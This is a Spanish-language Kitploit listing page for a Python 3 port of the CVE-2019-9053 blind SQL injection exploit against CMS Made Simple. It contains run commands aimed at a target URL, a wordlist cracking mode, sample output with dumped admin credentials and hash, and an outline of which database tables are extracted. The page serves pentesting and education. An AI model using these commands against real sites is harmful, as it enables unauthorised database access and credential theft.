Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-9053 — CMS Made Simple CVE-2019-9053 Exploit (Python 3) | Kitploit
Herramientas/GitHubGitHub/v4rr10r/cve-2019-9053
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubv4rr10r/cve-2019-9053

CVE-2019-9053

CMS Made Simple CVE-2019-9053 Exploit (Python 3)

Ver Repositorio
15hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-9053 — Inyección SQL en CMS Made Simple (Python 3)

Una adaptación a Python 3 del exploit de inyección SQL ciega basada en tiempo dirigido a CMS Made Simple <= 2.2.9.
Exploit original de Daniele Scanu @ Certimeter Group.


Vulnerabilidad

CampoDetalle
CVECVE-2019-9053
Software afectadoCMS Made Simple <= 2.2.9
Tipo de vulnerabilidadInyección SQL ciega basada en tiempo sin autenticación
Vector de ataqueRed (no requiere autenticación)
Parámetrom1_idlist en el módulo News

El módulo News no sanitiza el parámetro GET m1_idlist, lo que permite a un atacante no autenticado extraer datos sensibles de la base de datos carácter por carácter mediante retrasos de tiempo.


Requisitos

  • Python 3.6+
  • Paquetes de pip:
pip install requests termcolor

Uso

Básico — solo volcar credenciales

python3 CVE-2019-9053_py3.py -u http://target/cms

Con craqueo de contraseñas

python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt

Opciones completas

python3 CVE-2019-9053_py3.py --help
OpciónDescripción
-u, --urlURL base de la instalación objetivo de CMS Made Simple
-w, --wordlistRuta a un archivo de diccionario para el craqueo de contraseñas
-c, --crackActiva el modo de craqueo de contraseñas (requiere -w)

Ejemplo

python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt

Salida esperada:

[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123

Cómo funciona

  1. Volcado del salt — consulta la tabla cms_siteprefs para obtener el valor sitemask (el salt de la contraseña)
  2. Volcado del nombre de usuario — extrae el nombre de usuario de user_id = 1 de cms_users
  3. Volcado del correo electrónico — extrae el correo electrónico de user_id = 1 de cms_users
  4. Volcado de la contraseña — extrae el hash MD5 de la contraseña de user_id = 1 de cms_users
  5. Craqueo (opcional) — calcula MD5(salt + wordlist_entry) para cada línea y lo compara con el hash volcado

La inyección utiliza SELECT SLEEP(N) para inferir cada carácter — si la respuesta se retrasa, el carácter adivinado es correcto.

Consejo: Si el script es lento o poco fiable, aumente la variable TIME dentro del script para compensar la latencia de red.


Cambios de Python 3 respecto al original

CambioDetalle
Sentencias printConvertidas a funciones print()
optparseReemplazado por argparse (optparse está obsoleto en Python 3)
hashlib.md5()La entrada ahora se codifica a bytes mediante .encode('utf-8')
Lectura de archivosSe reemplazó .readlines() por un bloque with y .strip()

Referencias

  • Exploit-DB #46635 — Exploit original
  • NVD — CVE-2019-9053
  • CMS Made Simple

Licencia

Este proyecto es solo para uso educativo. Consulte los términos de licencia del exploit original en Exploit-DB.

Descargar herramienta